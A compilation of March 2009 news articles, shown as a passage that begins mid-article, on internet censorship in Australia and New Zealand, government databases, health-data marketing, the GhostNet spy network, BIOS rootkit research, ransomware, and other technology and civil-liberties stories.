though his approval rested on a slim critical reed: he was simply happy that “Vandal Squad” publicly absolved him of a longstanding accusation that he had once ratted out two other graffiti artists — Mr. Rivera refers to them in the book as “foreign nationals” — after an arrest. “I feel better now, relieved,” Mr. Carlo said to audience members, many of whom were most likely active graffiti artists, telling them to read Page 112 and drawing the first laughter of the night in what had quickly become a tense room. “Thank you, Joe. Much respect.” In anti-vandalism policing, as in many highly specialized crime beats that deal with repeat offenses, the officers and their quarry often come to know one another well. And so the night’s discussion, at times, brought out a grudging respect from both sides, as well as the kind of simmering anger that has a familial ring. Alan Ket, a veteran graffiti artist whose real name is Alain Maridueña, asked whether the officers thought it was fair that he had been so vigorously prosecuted in a highly publicized case in which he pleaded guilty in 2007 to painting on subway cars in three boroughs. Mr. Mona, though he had already retired by the time the case was under way, said he thought it happened because Mr. Maridueña, an outspoken graffiti advocate, used to write highly personal, and highly offensive, graffiti messages about individual police officers, including Mr. Mona and Mr. Rivera. “Alan, it’s like poking the junkyard dog with a stick,” Mr. Mona said. “You’re going to get bit. And you got bit. And you’re just going to have to live with it.” As the evening wound down, attention was drawn to the fact that along with all the other people videotaping the event, there were some large men stationed across from the front door of the bookstore, taping it for themselves: current members of the police’s anti-vandalism unit. Mr. Maridueña called it a waste of taxpayers’ money and asked why it was happening. “Do you fish?” Mr. Mona asked him. “Do I fish?” Mr. Maridueña said. “I don’t fish.” Mr. Mona said, “I don’t either, but I’ve been told fishermen go where the good fish are.” He added, “There’s probably someone here tonight with a warrant.” http://www.nytimes.com/2009/03/21/ar...gn/21graf.html In Obama’s Election, a Textbook Case of History in the Making for Students This Fall John Eligon For many, the excitement of the 2008 presidential election was about witnessing a moment that people would one day read about in history books. Well, the first draft of history has a release date: this fall. On Page 1,126 of the newest edition of “United States History,” a Pearson textbook for high schoolers that is due in classrooms this fall, a picture of Barack Obama at his election night rally in Chicago appears next to the red-lettered headline “An Historic Moment.” The newest editions of middle- and high-school history and government textbooks by McGraw-Hill, also scheduled for a fall release, include an eight-page supplement with a picture of Mr. Obama on the cover and the words “A New President.” And information on the impact of Mr. Obama’s campaign is strewn throughout two college-level government textbooks by CQ Press, which are already in use on campuses nationwide. “History — there’s no end to it,” said Randy Roberts, a history professor at Purdue University and an author of the Pearson book. “It’s a work in progress.” Textbooks are updated regularly, but publishers say they went to extra lengths to capture the 2008 election by delaying publication and using the Internet. The election of Mr. Obama gave them even more to write about. “We want our students to sense how important, how historic, how momentous it is,” Mr. Roberts said. Of course, history in its first form is still a bare-bones account. As Mr. Roberts put it, he was able to write about what happened but could not yet address the effects of Mr. Obama’s election. But in some ways, the campaign and election have provided a window into the evolution of how textbooks cover history. With news available instantly on the Internet, textbooks must keep up with the times. The day after the inauguration, McGraw-Hill put up a Web site about the Obama administration and the issues it faces. The site, updated regularly, is written like a textbook and includes questions and exercises. For its history textbooks for kindergarten through fifth grade, McGraw-Hill did not print a new edition but supplemented the books with a Web site. “This is how students learn,” said Steve Waldron, vice president and group editorial director for McGraw-Hill. “I think the major issue is we want the books to be as up to date and as relevant to students as possible.” http://www.nytimes.com/2009/03/22/ed...2textbook.html Online Identity Expert Loses Control of NSFW R-Rated Online Pics David M Williams It's a classic faux pas; someone puts their personal raunchy photos online and then finds they've spread beyond the limited audience for which they were intended. This wouldn't ordinarily be news - except this time it happened to someone who makes a living from telling others how to manage their online identity. Let what has happened be a timely reminder to you not to put something online that you wouldn’t be willing for the world to see. Dick Hardt is a well known in open source circles for a contentious Windows port of the Perl programming language as part of his company ActiveState which he subsequently sold for $US 23m in 2002. Subsequently, Hardt became known for his work on solving problems related to online identity. These are issues like how do you prove who you are, can you associate credentials to your identity that grant access to online resources but permit privacy and more. I referred to Hardt previously on iTWire when he, somewhat unexpectedly for a FOSS guy, joined the staff of Microsoft, relocating from Vancouver to Redmond. Hardt is back in the news after a gaffe that saw personal photos released publicly instead of the closed circle of friends he had intended. It began after Hardt’s recent wedding, and a conspicuous tweet on March 8th that “Dick would like to post the R rated wedding photos. @Jennx65 had another opinion” referring to new bridge Jennifer. Hardt must have been persuasive because on March 17th he tweeted “Dick finally got permission to post a couple of ‘special wedding photos’ for friends on Facebook.” Oh dear! I’m sure you can guess what ensued. Today, if you visit Dick Hardt’s photo album on Facebook he says he finally received permission to add a couple of “special” photos of the Maui honeymoon, yet there are exactly zero photos to be seen. It wasn’t always that way. The photos – taken by Tad Craig Photography – were indeed posted to Facebook, and as always seems to happen with the things you’d rather not become public, they became public. If you need to see the evidence for yourself gawker.com took a copy for posterity. Dick Hardt explained these photos were shared only to friends on Facebook, and were never intended to become public. Good friends, hey? While most of us will have sympathy for Hardt’s response, the dreadful irony is that he makes a living from the very issue of protecting and controlling your identity online. Indeed, the very reason he was recruited by Microsoft was to work on such matters. Hardt especially impressed with his brilliant OSCON 2005 keynote speech which is hailed as a masterpiece of presentationcraft even if the subject matter (“identity 2.0”) is not of interest. Yet, this is just one of several setbacks to buffet the hapless entrepreneur in recent times with claims that his last company, now insolvent, misrepresented the likelihood of acquisition by the Google and Yahoo, and that Hardt placed another, previously unknown, company of his own first in line for payment. Perhaps Hardt’s mind was distracted by the joy of his recent wedding, or by his troubles with former investors. Either way you have to acknowledge the unfortunate irony in an online identity expert losing control of his own privacy. It is simply a huge boner on Dick’s part to make such a gaffe, resulting in his NSFW R-rated photos released to the wild. As much as I respect the work of Dick Hardt I can’t help but agree with the wickedly sardonic tone of the poster who responded to his explanation with, “@Dick Hardt: First day on the internet?” http://www.itwire.com/content/view/23975/53/ Australian Internet Blacklist Prompts Concern Kristen Gelineau A whistle-blower organization claims a secret list of Web sites that Australian authorities are proposing to ban includes such innocuous destinations as a dentist's office. Australia's government denied that the list — published by renegade Web site Wikileaks.org — was the same as a blacklist run by the Australian Communications and Media Authority, or ACMA. However, a manager at the dentist's office said the ACMA had confirmed her site's inclusion on the ban list. Wikileaks' publication of the list this week reignited a debate over whether a government proposal to impose an Internet filter for all Australians could have unintended consequences for innocent businesses. The list in question is provided to the creators of Internet filtering software that people can opt to install on their computers. But Communications Minister Stephen Conroy has proposed mandating that Australian Internet service providers implement the list, which would make Australia one of the strictest Internet regulators among democratic countries. Several Internet providers are conducting trials of the filter through June. The authority says the list largely contains the addresses of Web sites promoting child pornography and sexual violence, but it has refused to release its contents publicly. The proposal has prompted protests across the country, with critics slamming it as censorship. Internet providers argued that a filter could slow browsing speeds, and pointed out that illegal material such as child pornography can be traded on peer-to-peer networks or chats, which would not be covered by the filter. On its site, Wikileaks accused Australia of "acting like a democratic backwater," and said "Australian democracy must not be permitted to sleep with this loaded gun." The site — which casts itself as an outlet for "untraceable mass document leaking and analysis," with a focus on exposing oppressive regimes and unethical behavior — did not explain how it obtained the purported blacklist. The list published on Wikileaks contains about 2,400 Internet addresses, many of which are clearly for child pornography. But the list also includes a dental office, online poker parlors, a kennel and a school-cafeteria consultancy firm. Kelly Wilson, a manager at Dental Distinction in the Australian state of Queensland, said she had no idea her office's site had been blacklisted until a newspaper reporter informed her Thursday. Wilson contacted the ACMA, which she said confirmed the site was on the authority's blacklist. She said she was offered no explanation why. The site was hacked more than a year ago, and visitors were temporarily redirected to an adult Web site. The office quickly switched to a different Internet provider and hasn't had a problem since, she said. "We're a little annoyed that we're on there," Wilson said. "It's a great Web site." http://www.siliconvalley.com/news/ci_11958495 iiNet Pulls Out of Internet Filter Trials Mitchell Bingemann IINET has pulled out of the federal Government's internet filtering trials. iiNet only agreed to participate in the trial to demonstrate that the filter was flawed and a waste of taxpayers’ money, iiNet managing director Michael Malone said. Mr Malone cited drawn-out negotiations with the Department of Broadband, Communications and the Digital Economy (DBCDE), constant changes in policy, and last week’s leak of a secret internet blacklist as reasons for pulling out. "It became increasingly clear that the trial was not simply about restricting child pornography or other such illegal material, but a much wider range of issues including what the Government simply describes as ‘unwanted material’ without an explanation of what that includes," Mr Malone said. iiNet's withdrawal from the ISP filter trials is another blow for the controversial project. Last week the federal Government's plans for the nationwide internet filter were put in jeopardy when its top-secret blacklist of banned web pages was leaked. The list is currently being used as the backbone of the Government's internet filter trial of which phase one is being conducted by Primus Telecommunications, Tech 2U, Webshield, OMNIconnect, Netforce and Highway 1. iiNet was not involved in phase one of the trials but had applied to be involved in subsequent phases. The secret blacklist, which was leaked to the whistle-blower website Wikileaks, is purportedly the same list the Australian Communications and Media Authority distributes to vendors of approved internet filters to ban offensive material -- such as child pornography, bestiality and violence. Senator Conroy plans to use parts of the ACMA blacklist to block Australian internet users from accessing pornographic and violent material. http://www.australianit.news.com.au/...-15306,00.html “3 Strikes” dropped in New Zealand Section 92A to be Scrapped Chris Keall Prime Minister John Key has announced the government will throw out the controversial Section 92A of the Copyright Amendment (New Technologies) Act and start again. Commerce and justice minister Simon Power will now meet with officials and rewrite Section 92A (S92) of the Act from the ground up. "Section 92a is not going to come into force as originally written. We have now asked the minister of commerce to start work on a replacement section," the prime minister said. No timeframe has been set for ammending S92. In a follow-up to Mr Key's Beehive press conferencing announcing the move, Mr Power released a statement saying: "Allowing section 92A to come into force in its current format would not be appropriate given the level of uncertainty around its operation. "This legislation was put in place to combat unlawful file-sharing which facilitates copyright infringement on a large scale ... While the government remains intent on tackling this problem, the legislation itself needs to be re-examined and reworked to address concerns held by stakeholders and the government." S92 - which requires ISPs to have a code of practice to disconnect “repeat” copyright infringers - was due to go into force at the end of last month, but at the last minute was suspended by Prime Minister John Key until March 27. Mr Key asked industry groups to come to a workable solution before that date. Since then the Telecommunications Carriers Forum (TCF), representing all major ISPs, has being working on a draft code of practice, and discussing it with copyright holders, lead by Rianz (the Recording Industry Association of New Zealand). The TCF’s effort was dealt a major blow on March 11 when TelstraClear bailed on the TCF talks, saying it was its job to fix bad legislation. TCF chief executive Ralph Chivers told NBR that given the key constraint the S92 working party was under - that all members had to agree on the code, in UN Security Council 100%-consensus-or- nothing style - “the document must now, but definition, fail”. The failure to find consensus would mean that key S92 infrastructure - such as an independent moderator standing between ISPs and rights holders like Rianz who would lay complaints against their users - was now impossible, said Mr Chivers. Earlier today, WorldXChange owner Paul Clarken - a member of the TCF's working party - told NBR the ISP industry consensus was that S92 should be thrown out and rewritten from the ground up rather than be band-aided. http://www.nbr.co.nz/article/section...scrapped-89121 Consumer Groups, Phone Companies Spar Over U.S. Stimulus Kim Dixon Phone companies faced off against consumer groups on Monday, in a debate over whether $7.2 billion in federal broadband spending should come with a mandate that Internet networks remain open to all traffic. As the government prepares to set rules for doling out the funds, public interest groups say providers vying for money should abide by network neutrality, the notion that Internet service providers not discriminate based on content or applications. "The federal government is not a charity for broadband providers. It is an investor," Ben Scott, policy director for the consumer group Free Press, told a public meeting on the government's plans. Telecommunications, Internet firms and others are lobbying to shape the still unwritten rules that will govern how regulators distribute the money. The law calls for nondiscrimination but largely leaves it up to regulators to define and enforce such a policy. The U.S. Departments of Commerce and Agriculture will disperse the broadband funding, intended to bring technology to unserved and underserved areas. Industry has long contended that a network neutrality requirement ties their hands and have argued that they need to be able to manage their network. Such a requirement would discourage investment, say industry officials. "Layering on those types of conditions I think are only going to drive would-be applicants out of the pool of people that you want to extend service to these really hard to reach places," said Chris Guttman-McCabe, a vice president of CTIA, the wireless trade group that represents companies like AT&T Inc and Verizon Communications. Net neutrality backers have high hopes for the new administration in this area, as President Barack Obama has publicly backed net neutrality. "I can't imagine a better time, when the government is doling out $7.2 billion, to have this conversation," said Gigi Sohn, president of Public Knowledge, another public interest group. She cited the strong interest generated from the broadband program. The first meeting at the Department of Commerce was packed, as have subsequent conference calls, she said. "If the big guys don't want the money fine there will be other people beating down the doors." (Editing by Tim Dobbyn) http://www.washingtonpost.com/wp-dyn...032301267.html Call to Scrap 'Illegal Databases' BBC A quarter of all government databases are illegal and should be scrapped or redesigned, according to a report. The Joseph Rowntree Reform Trust says storing information leads to vulnerable people, such as young black men, single parents and children, being victimised. It says the UK's "database state" wastes billions from the public purse and often breaches human rights laws. But the government says the report contains "no substantive evidence" on which to base its conclusions. A Ministry of Justice spokesman said the government was "never losing sight" of its obligations under the data protection and human rights acts. "It takes its responsibilities seriously and will consider any concerns carefully, adapting existing safeguards where necessary," he added. The government spends £16bn a year on databases and plans to spend a further £105bn on projects over five years but does not know the precise number of the "thousands" of systems it operates, the trust claims. Databases Criticised • ContactPoint: To hold name, address, gender, date of birth, school and health provider of every child in England • National DNA database: Of 4.5m people whose genetic fingerprints are on the database, more than 500,000 are innocent, including 39,000 children • Communications database: Plan to centralise details of calls and websites visited from phone companies and internet providers, open to 510 public authorities • Onset: A profiling tool which examines a child's behaviour and social background to identify potential child offenders • Detailed Care Record: When rolled out, will allow hospitals, GPs nurses and social workers to update patient's records with unmonitored "wikipedia-style" entries Source: Joseph Rowntree Reform Trust In the wake of numerous data loss scandals, the cross-party trust - which campaigns for civil liberties and social justice - examined 46 public sector systems. It said 11 were "almost certainly" illegal under human rights or data protection laws. These included the national DNA database and ContactPoint, an index of biographical and contact information on all children in England which notes their relationship with public services. ContactPoint, intended to aid child protection, has been criticised by opponents, who say at £224m it is too costly and could put children at risk if security is lax. When examining criminal justice systems, the trust discovered one woman's caution over a playground fight when she was 13 will stay on the Police National Computer until she is 100. Meanwhile, the genetic fingerprints of nearly four-in-10 black men aged under 35 were held on the DNA database in England, where records are not deleted even when people are acquitted or released without charge, the report claimed. Author, Professor Ross Anderson of Cambridge University, said: "Britain's database state has become a financial, ethical and administrative disaster which is penalising some of the most vulnerable members of our society." Co-author Terri Dowty, director of Action on Rights for Children, said systems such as Onset - a tool for identifying potential youth offenders - can stigmatise youngsters. Professor Ross Anderson outlines the problems with the databases With programmes under way to store Onset assessments and make them available to police, the information could cloud officers' judgement, she said. Ms Dowty said the fear of being monitored was such that young mothers were covering up their post-natal depression or not taking children to casualty for fear of triggering social services involvement. Meanwhile, the Department for Work and Pensions is developing an £89m data-sharing system for anyone issued with a National Insurance number, accessible to 140,000 government staff and 445 local authorities. Staff at 30 councils have already abused the system and information has been made available to private firms, according to the trust. "The problem with a lot of these information systems is the number of people who have access to them. It's the slack attitude to data security which is most worrying," said Ms Dowty. The trust wants the government to store data more transparently and to allow sensitive information to be shared only with people's consent, or at least when subject to clear legal rules. Data Protection Act • People can make a 'subject access request' to gain - and correct - information held on them by government departments • This also applies to banks, councils, schools, health services, employers, internet and mail order firms • Requests are made in writing or by email, stating full name and address including postcode • The act allows you to ask organisations to stop using your information for marketing by mail, phone, fax, email and text message. • You may be refused all or some information, if there is a 'good reason' - for example, it is being used in criminal investigations Source: Information Commissioner's Office But the report claims civil servants and politicians do not want to address the issue in case it damages their career. "Like Chernobyl, some brave souls need to go in and sort it out," it says. Peers on the Lords constitution committee warned last month that electronic surveillance and collection of personal data had become "pervasive" in British society and threatened to undermine democracy. The Data Protection Act requires organisations to allow individuals to see and amend information held about them on request, barring a good reason for withholding it - such as that its release would impede a criminal investigation. It also allows people to demand organisations stop using their details. Conservative justice spokeswoman Eleanor Laing said: "The government must urgently adopt a principled, proportionate, less centralised approach to collecting personal information that takes real account of our privacy and is based on the consent of individuals and families." Liberal Democrat home affairs spokesman Chris Huhne said: "In their desperation to track our every move, ministers have created a glut of databases, many of which are quite simply illegal." A Home Office spokesman said ministers were committed to "striking the balance" between individuals' rights and the ability to fight crime, with DNA testing and CCTV providing "clear benefits". Tests were carried out to make sure measures were proportionate, transparent and featured safeguards, he said. http://news.bbc.co.uk/1/hi/uk/7955205.stm Online Age Quiz Is a Window for Drug Makers Stephanie Clifford Americans yearn to be young. So it is little wonder that RealAge, which promises to help shave years off your age, has become one of the most popular tests on the Internet. According to RealAge, more than 27 million people have taken the test, which asks 150 or so questions about lifestyle and family history to assign a “biological age,” how young or old your habits make you. Then, RealAge makes recommendations on how to get “younger,” like taking multivitamins, eating breakfast and flossing your teeth. Nine million of those people have signed up to become RealAge members. But while RealAge promotes better living through nonmedical solutions, the site makes its money by selling better living through drugs. Pharmaceutical companies pay RealAge to compile test results of RealAge members and send them marketing messages by e-mail. The drug companies can even use RealAge answers to find people who show symptoms of a disease — and begin sending them messages about it even before the people have received a diagnosis from their doctors. While few people would fill out a detailed questionnaire about their health and hand it over to a drug company looking for suggestions for new medications, that is essentially what RealAge is doing. The test has received widespread publicity because of its affiliation with Dr. Mehmet Oz, a popular author and regular on “The Oprah Winfrey Show.” Dr. Oz — “America’s Doctor,” as he is known on Oprah — is a RealAge spokesman and adviser, and his soothing, simple approach to health is reflected in RealAge’s message: you can change. And it has become something of a sensation in the marketing world. Many marketers, online and off, segment potential consumers within broad categories. But RealAge gathers very specific information and, unlike some sites, it gives its consumers an incentive to tell the truth, namely, a chance to live longer. Whether they are attracted by Dr. Oz’s appeal or by the ads all over the Internet for the test, people come to the site, then provide an e-mail address to take it. They are asked throughout the test if they would like a free RealAge membership. If people answer yes to any of the prompts, they become RealAge members, and their test results go into a marketing database. RealAge allows drug companies to send e-mail messages based on those test results. It acts as a clearinghouse for drug companies, including Pfizer, Novartis and GlaxoSmithKline, allowing them to use almost any combination of answers from the test to find people to market to, including whether someone is taking antidepressants, how sexually active they are and even if their marriage is happy. RealAge sends the selected recipients a series of e-mail messages about a condition they might have, usually sponsored by a drug company that sells a medication for that condition. “Our primary product is an e-mail newsletter series focused on the undiagnosed at-risk patient, so we know the risk factors if someone is prehypertensive, or for osteoarthritis,” said Andy Mikulak, the vice president for marketing at RealAge. “At the end of the day, if you want to reach males over 60 that are high blood pressure sufferers in northwest Buffalo with under $50,000 household income that also have a high risk of diabetes, you could,” he said. RealAge’s privacy policy does not specifically address the firm’s relationship with drug companies, but does state, in part, “we will share your personal data with third parties to fulfill the services that you have asked us to provide to you,” and it adds test results to its database only when respondents become RealAge members. Some critics, however, charge that consumers do not have enough information when they join. “Literally millions of people have unknowingly signed up,” said Peter Lurie, the deputy director of the Health Research Group at Public Citizen, a public interest group in Washington. The company, he said, “can create a group of people, and hit them up and create anxiety even though the person does not have a diagnosis.” Steve Williamson, an executive at the medical company Hologic, uses RealAge to sell a treatment called NovaSure, which removes the endometrial lining in post-childbearing, premenopausal women who have heavy periods. With RealAge, he buys lists of women who have answered a test question by saying they have heavy menstrual bleeding, among other criteria. He chooses the ones in the 37- to 49-year-old age range, then sends them a series of e-mail messages. Several of the messages do not mention NovaSure, they just identify heavy bleeding as a problem — then, he said, the messages suggest NovaSure as a solution. “We’re trying to get out to those customers right now and let them know that it is an option for them,” said Mr. Williamson, the vice president for sales and marketing for the gynecologic surgical products division of Hologic. “A lot of women don’t know it’s a problem, and that’s the thing. It’s not something they necessarily talk about.” RealAge acts as the middleman between the drug companies and its members: it sends the e-mail messages from its own address and does not release members’ names or e-mail addresses to drug companies. That is because pharmaceutical advertisers are among “the most heavily regulated industries in the world, and they don’t necessarily want those e-mail addresses — they like that we’re a proxy for their messages,” Mr. Mikulak said. Its access to health information has made RealAge valuable. Founded in 1999, it was acquired by Hearst Magazines in 2007 for an estimated $60 million to $70 million. Though its sales — and the fees it pays Dr. Oz — are not public, it is profitable, and had about $20 million in revenue when Hearst acquired it. Annie Tomlin, a 30-year-old Web site editor in San Francisco, is a vegetarian who walks everywhere, one of the healthy consumers that RealAge prides itself on. She first took the test after her mother heard about it on Oprah — scoring seven years younger than her actual age — but did not realize the answers were being used by marketers. “It bothers me because I’m not a fan of the drug companies, and I don’t enjoy the idea of me giving them any help in marketing their medicine,” she said. “While it’s fantastic that we have certain medicines that help save people’s lives, there are also a lot of medicines that are very, very profitable that are pushed on people who don’t need them.” Mr. Mikulak said that RealAge protected privacy: it does not give personally identifiable information to the drug companies and the advertisements in e-mail messages are clearly labeled as such. RealAge is “providing value in return for the information,” he said. That is a fair trade-off, some members said. Leslie Swan, 31, a stay-at-home mother and former pharmaceuticals saleswoman in Rancho Cucamonga, Calif., took RealAge after a Dr. Oz appearance on Oprah. She had not been aware that drug companies had access to her answers, but, she said, she was not bothered by that. “So many patients are so clueless and they count on their doctor to know everything and be right 100 percent of the time and don’t always inform themselves, and I think that’s a huge mistake,” Ms. Swan said. “As a patient and a person, you have to take your health into your own hands.” http://www.nytimes.com/2009/03/26/te...26privacy.html Vast Spy System Loots Computers in 103 Countries John Markoff A vast electronic spying operation has infiltrated computers and has stolen documents from hundreds of government and private offices around the world, including those of the Dalai Lama, Canadian researchers have concluded. In a report to be issued this weekend, the researchers said that the system was being controlled from computers based almost exclusively in China, but that they could not say conclusively that the Chinese government was involved. The researchers, who are based at the Munk Center for International Studies at the University of Toronto, had been asked by the office of the Dalai Lama, the exiled Tibetan leader whom China regularly denounces, to examine its computers for signs of malicious software, or malware. Their sleuthing opened a window into a broader operation that, in less than two years, has infiltrated at least 1,295 computers in 103 countries, including many belonging to embassies, foreign ministries and other government offices, as well as the Dalai Lama’s Tibetan exile centers in India, Brussels, London and New York. The researchers, who have a record of detecting computer espionage, said they believed that in addition to the spying on the Dalai Lama, the system, which they called GhostNet, was focused on the governments of South Asian and Southeast Asian countries. Intelligence analysts say many governments, including those of China, Russia and the United States, and other parties use sophisticated computer programs to covertly gather information. The newly reported spying operation is by far the largest to come to light in terms of countries affected. This is also believed to be the first time researchers have been able to expose the workings of a computer system used in an intrusion of this magnitude. Still going strong, the operation continues to invade and monitor more than a dozen new computers a week, the researchers said in their report, “Tracking ‘GhostNet’: Investigating a Cyber Espionage Network.” They said they had found no evidence that United States government offices had been infiltrated, although a NATO computer was monitored by the spies for half a day and computers of the Indian Embassy in Washington were infiltrated. The malware is remarkable both for its sweep — in computer jargon, it has not been merely “phishing” for random consumers’ information, but “whaling” for particular important targets — and for its Big Brother-style capacities. It can, for example, turn on the camera and audio-recording functions of an infected computer, enabling monitors to see and hear what goes on in a room. The investigators say they do not know if this facet has been employed. The researchers were able to monitor the commands given to infected computers and to see the names of documents retrieved by the spies, but in most cases the contents of the stolen files have not been determined. Working with the Tibetans, however, the researchers found that specific correspondence had been stolen and that the intruders had gained control of the electronic mail server computers of the Dalai Lama’s organization. The electronic spy game has had at least some real-world impact, they said. For example, they said, after an e-mail invitation was sent by the Dalai Lama’s office to a foreign diplomat, the Chinese government made a call to the diplomat discouraging a visit. And a woman working for a group making Internet contacts between Tibetan exiles and Chinese citizens was stopped by Chinese intelligence officers on her way back to Tibet, shown transcripts of her online conversations and warned to stop her political activities. The Toronto researchers said they had notified international law enforcement agencies of the spying operation, which in their view exposed basic shortcomings in the legal structure of cyberspace. The F.B.I. declined to comment on the operation. Although the Canadian researchers said that most of the computers behind the spying were in China, they cautioned against concluding that China’s government was involved. The spying could be a nonstate, for-profit operation, for example, or one run by private citizens in China known as “patriotic hackers.” “We’re a bit more careful about it, knowing the nuance of what happens in the subterranean realms,” said Ronald J. Deibert, a member of the research group and an associate professor of political science at Munk. “This could well be the C.I.A. or the Russians. It’s a murky realm that we’re lifting the lid on.” A spokesman for the Chinese Consulate in New York dismissed the idea that China was involved. “These are old stories and they are nonsense,” the spokesman, Wenqi Gao, said. “The Chinese government is opposed to and strictly forbids any cybercrime.” The Toronto researchers, who allowed a reporter for The New York Times to review the spies’ digital tracks, are publishing their findings in Information Warfare Monitor, an online publication associated with the Munk Center. At the same time, two computer researchers at Cambridge University in Britain who worked on the part of the investigation related to the Tibetans, are releasing an independent report. They do fault China, and they warned that other hackers could adopt the tactics used in the malware operation. “What Chinese spooks did in 2008, Russian crooks will do in 2010 and even low-budget criminals from less developed countries will follow in due course,” the Cambridge researchers, Shishir Nagaraja and Ross Anderson, wrote in their report, “The Snooping Dragon: Social Malware Surveillance of the Tibetan Movement.” In any case, it was suspicions of Chinese interference that led to the discovery of the spy operation. Last summer, the office of the Dalai Lama invited two specialists to India to audit computers used by the Dalai Lama’s organization. The specialists, Greg Walton, the editor of Information Warfare Monitor, and Mr. Nagaraja, a network security expert, found that the computers had indeed been infected and that intruders had stolen files from personal computers serving several Tibetan exile groups. Back in Toronto, Mr. Walton shared data with colleagues at the Munk Center’s computer lab. One of them was Nart Villeneuve, 34, a graduate student and self-taught “white hat” hacker with dazzling technical skills. Last year, Mr. Villeneuve linked the Chinese version of the Skype communications service to a Chinese government operation that was systematically eavesdropping on users’ instant-messaging sessions. Early this month, Mr. Villeneuve noticed an odd string of 22 characters embedded in files created by the malicious software and searched for it with Google. It led him to a group of computers on Hainan Island, off China, and to a Web site that would prove to be critically important. In a puzzling security lapse, the Web page that Mr. Villeneuve found was not protected by a password, while much of the rest of the system uses encryption. Mr. Villeneuve and his colleagues figured out how the operation worked by commanding it to infect a system in their computer lab in Toronto. On March 12, the spies took their own bait. Mr. Villeneuve watched a brief series of commands flicker on his computer screen as someone — presumably in China — rummaged through the files. Finding nothing of interest, the intruder soon disappeared. Through trial and error, the researchers learned to use the system’s Chinese-language “dashboard” — a control panel reachable with a standard Web browser — by which one could manipulate the more than 1,200 computers worldwide that had by then been infected. Infection happens two ways. In one method, a user’s clicking on a document attached to an e-mail message lets the system covertly install software deep in the target operating system. Alternatively, a user clicks on a Web link in an e-mail message and is taken directly to a “poisoned” Web site. The researchers said they avoided breaking any laws during three weeks of monitoring and extensively experimenting with the system’s unprotected software control panel. They provided, among other information, a log of compromised computers dating to May 22, 2007. They found that three of the four control servers were in different provinces in China — Hainan, Guangdong and Sichuan — while the fourth was discovered to be at a Web-hosting company based in Southern California. Beyond that, said Rafal A. Rohozinski, one of the investigators, “attribution is difficult because there is no agreed upon international legal framework for being able to pursue investigations down to their logical conclusion, which is highly local.” http://www.nytimes.com/2009/03/29/technology/29spy.html Researchers Unveil Persistent BIOS Attack Methods Apply all of the browser, application and OS patches you want, your machine still can be completely and silently compromised at the lowest level--without the use of any vulnerability. That was the rather sobering message delivered by a pair of security researchers from Core Security Technologies in a talk at the CanSecWest conference on methods for infecting the BIOS with persistent code that will survive reboots and reflashing attempts. Anibal Sacco and Alfredo Ortega (above) demonstrated a method for patching the BIOS with a small bit of code that gave them conplete control of the machine. And the best part is, the method worked on a Windows machine, a PC running OpenBSD and another running VMware Player. "It was very easy. We can put the code wherever we want," said Ortega. "We're not using a vulnerability in any way. I'm not sure if you understand the impact of this. We can reinfect the BIOS every time it reboots." Sacco and Ortega stressed that in order to execute the attacks, you need either root privileges or physical access to the machine in question, which limits the scope. But the methods are deadly effective and the pair are currently working on a BIOS rootkit to implement the attack. "We can patch a driver to drop a fully working rootkit. We even have a little code that can remove or disable antivirus," Ortega said. The work by the Core team follows on to research done on persistent rootkits by John Heasman of NGSS, who was able to devise a method for placing rootkits on PCs using the memory space on PCI cards. In a presentation at Black Hat DC in 2007, Heasman showed a completely working method for loading the malware on to a PCI card by using the flashable ROM on the device. He also had a way to bypass the Windows NT kernel and create fake stack pointers. In an interview at the time, he told me: "At that point it's game over. We're executing 32-bit code in ring zero." As application and operating system protection mechanisms continue to become more sophisticated and more difficult to evade, expect to see more and more attacks targeting the hardware and low-level software, where there are still opportunities for success. http://threatpost.com/blogs/research...attack-methods New Ransomware Holds Windows Files Hostage, Demands $50 'Sobering' turn by crooks 'doesn't bode well,' says researcher Gregg Keizer Cybercrooks have hit on a new twist to their aggressive marketing of fake security software, and are duping users into downloading a file utility that holds users' data for ransom, security researchers warned today. While so-called "scareware" has plagued computer users for months, those campaigns have relied on phony antivirus products that pretend to trap malware, but actually only exist to pester people into ponying up as much as $50 to stop the bogus warnings. The new scam takes a different tack: It uses a Trojan horse that's seeded by tricking users into running a file that poses as something legitimate like a software update. Once on the victim's PC, the Trojan swings into action, encrypting a wide variety of document types -- ranging from Microsoft Word .doc files to Adobe Reader .pdf documents -- anytime one's opened. It also scrambles the files in Windows' "My Documents" folder. When a user tries to open one of the encrypted files, an alert pops up saying that a utility called FileFix Pro 2009 will unscramble the data. The message poses as an semi-official notice from the operating system: "Windows detected that some of your MS Office and media files are corrupted. Click here to download and install recommended file repair application," the message reads. Clicking on the alert downloads and installs FileFix Pro, but the utility is anything but legit. It will decrypt only one of the corrupted files for free, then demands the user purchase the software. Price? $50. "This does look like a new tactic," said David Perry, the global director of education for antivirus vendor Trend Micro Inc. "But all online fraud is just minor variations of classic con games. This is just the 'Bank Examiner' played out on the Internet." That classic con, said Perry, typically involves a swindler posing as an official, a bank examiner or FBI agent, who asks for help in an investigation. The swindler convinces the mark to withdraw money from the bank -- it's needed to catch the non-existent crook in the act -- and promises to return the funds at the end of the case. Of course, the money vanishes, along with the grifter. On the Web, data hostage scams like this are called "ransomware," for obvious reasons. This isn't the first time the tactic's been used, but it is remarkably polished, said Perry. "We've not seen 'ransomware' with this level of sophistication," he said. Users who have fallen for the FileFix Pro 2009 con do not have to fork over cash to restore their files, according to other researchers, who have figured out how to decrypt the data. The Bleeping Computer site, for instance, has a free program called "Anti FileFix" available for download that unscrambles files corrupted by the Trojan. And security company FireEye Inc. has created a free online decrypter that also returns files to their original condition. Alex Lanstein, a malware researcher at FireEye who blogged about FileFix Pro 2009 last week, called the turn from scareware to ransomware "sobering." "Although we broke the encryption, it's a sobering realization of the state of malware that it is now actively extorting users by holding their data ransom," Lanstein said. "Despite this version of FileFix being trivial to crack, it does not bode well for the future of Internet malware." If ransomware follows a similar path as scareware, criminals will be hustling to mimic FileFix Pro: According to some estimates, crooks make as much as $5 million a year pushing fake antivirus software. http://www.computerworld.com/action/...icleId=9130539 Social Web Sites Face Transparency Questions Rachel Metz Yelp.com prides itself on being a site where people can write reviews about pretty much anything and connect with similarly critical peers. Yet as the site grows, some of the businesses scrutinized on Yelp are turning the tables and griping about the company itself. The complaints highlight an irony for Web sites that stimulate online communities and let users speak their minds. As the sites make the world more transparent, giving people the power to discuss everything from a great pizza to a bad date, the sites' own transparency is often questionable, as consumers and businesses struggle to understand how they operate. This tug of war has become increasingly public with the explosive popularity of social Web sites like Facebook, Twitter and MySpace, as well as niche sites like Yelp, which has more than 5 million reviews on establishments in dozens of cities. Properly balancing the interests of various constituencies _ and retaining their loyalty, perhaps through improved channels of communications 